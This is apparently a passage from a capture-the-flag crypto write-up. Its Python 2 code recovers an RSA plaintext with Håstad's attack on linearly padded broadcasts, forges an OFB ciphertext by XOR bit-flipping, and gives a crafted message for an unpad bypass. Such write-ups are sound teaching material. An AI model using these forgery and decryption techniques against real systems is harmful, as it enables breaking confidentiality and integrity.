n=[0x78bd9f34a3c3f3d625cdf446ecbadabedb9cf050033ebb94a9a7448b83cd080445c5edc1fc2bba8a2437d22bc7f48cdb6975b043de0ba53f3437ec532f2dcbe631b9bcc0ae151372838b0d9a62f81b04277bae763d15ae6ad33320bdfb06fea209d19ee26df0d875333a2995a7e1eb3b3388ea5ebece6cca299cc16be2e55967L,0x7842f202b73df268f83153c8cf972960b603135bd15494324a5f40e9717cce49153645ea4c27e13c74738612bab08526a7f461de9b5fe3454dab6901584106c2eba0a57a23bebf630d6e8d84bbece244635945d01997bbec247b54e0dd864706a9e7658d3fef2e7878808c868ede49f98c0de818b2d8ce3badbc1a3a5086c2b9L,0x88910b996761ed66b5bd999592e45ff3015d0d4e96044fb2d680d4fd677a0422b226c6b03ec2f6ad75166e4f58d1076e864610d02dec20b2008e0bc7911a04b9ef27b5de71a6910d739eb299bf0228e1c79bedd5c4d65bb728584b483f76fd72145229b4c6857177f59be7a64312ff8e1682b08a638a15eca4a2f83d3f71724bL]
c=[0x57855442c1fb4f9f5ca98cdfcb8170ac33a853815e0b2a9eb1515fead16a9a0428d0f48dbfeb661b4152280557c69fc3a7603c7ea1ff5b7012d4519384f8f81d19a2927d5d06f139c47bdaec829f450dd41edf4b3a409f73aef3b3f4b2ea975f309c01e72f6f3763b659b8faaf13febde59a20d3fa00355b2e92201792b0290fL,0x6d5662d53e49b5ddda4d95c6dc93fc38d8c8dbe4ce22c548e968a3d8461859fa02c959e29647c65983d964fc32f9b78bdc096fff8bc41f3e2eed4706172d2148410a354fa90d585129af3f5a2b99ebf22699af229c192e96572950c6a441d2b9c8cf58be2e4d3aeb24ae55a7faa9088f267a8b1c58fd007410095d4bdd19e713L,0x30bd46abf81fe57644703465990c6261eee35da9ecb613a94eb1fa61f301f789af1e4306160ca76a4c08018fe2eb6396e4878cc8be1acbfadd569c027ce09bf3f7e04294efc4f77e713d61824844697887324f54e4c973789017a7a9ab3c6f45ebb7a1546a37a4cac746c7ae3b659df9487fb7dd9f6e97bfd56457fc9ff3a508L]
a=[0x8dc7d9dc47696c90b270dee98663a13a195376b24faa2ef71fdcaa387198873f7f58df7fc36d53b186e53158941854a957abb6e38ec47a167f5dbe17f01ecef7L,0x996517bf35ddfd7b0e65a86f7b1799916e627da39c3fde7aac66b991587d6a05b85293dee552433384526e9c15f41567ea5c9ff33c5681ba4448aa87fb00abd7L,0xcfbb0be1757c12e12ab694878c907691820b571b8b7c17df5b8102d6e6ac46024377e44af611d4039dcf03bd978bd7f7fbaf2a5cf3f465578dd160f29827e2bfL]
b=[0x8927e3435852fb647959f2d0bcd9fa5fb1b5df65d52ac7776340d5bb64ebb023737815b62fbeae29bce489d223eb11e43495847f95e0edc9d8f92d18b2623bd3L,0xf2f95d344c6375e3a12e58940aa49abf49476a40b7d4bbb796ed108084f183c3550611efc2a021b3f42b50316307f75d172549ea1ea5b4f47e1fbd2a9c7357ffL,0xc909a74caaf85f5cc686851916992a37b31b3b81fab468cb73e97265eb7189f8f27a81072c7188ef11b618adb8cd1492ca24bece2848da67ba0b2c96ae6696d5L]
msg=linearPaddingHastads(c,n,a,b)
print hex(msg)[2:-1].decode('hex')
d='ecb3d7bf1bc7ad08a8493c893d002f91e78a81a625f6df50c0682c869030f075825a8807b5d9abf7ca883d60eb727f9a' #OFB密文
d1=d[-32:].decode('hex')
d2='000000006d6f726e696e670505050505'.decode('hex')
d3='0000000061667465726e6f6f6e030303'.decode('hex')
x=strxor(d1,d2)
x=strxor(x,d3)
x=d[:-32]+x.encode('hex')
print x
warmup
利用unpad来绕过
message="706c656173652073656e64206d6520796f757220666c61676161616161616161706c656173652073656e64206d6520796f757220666c6167616161616161616173656520796f75206174207468726565206f27636c6f636b20746f6d6f72726f770f0f0f0f0f0f0f0f0f0f0f0f0f0f0f366e6e6e6e6e6e6e6e6e6e6e6e6e6e78366e6e6e6e6e6e6e6e6e6e6e6e6e6e78"
Comment Closed.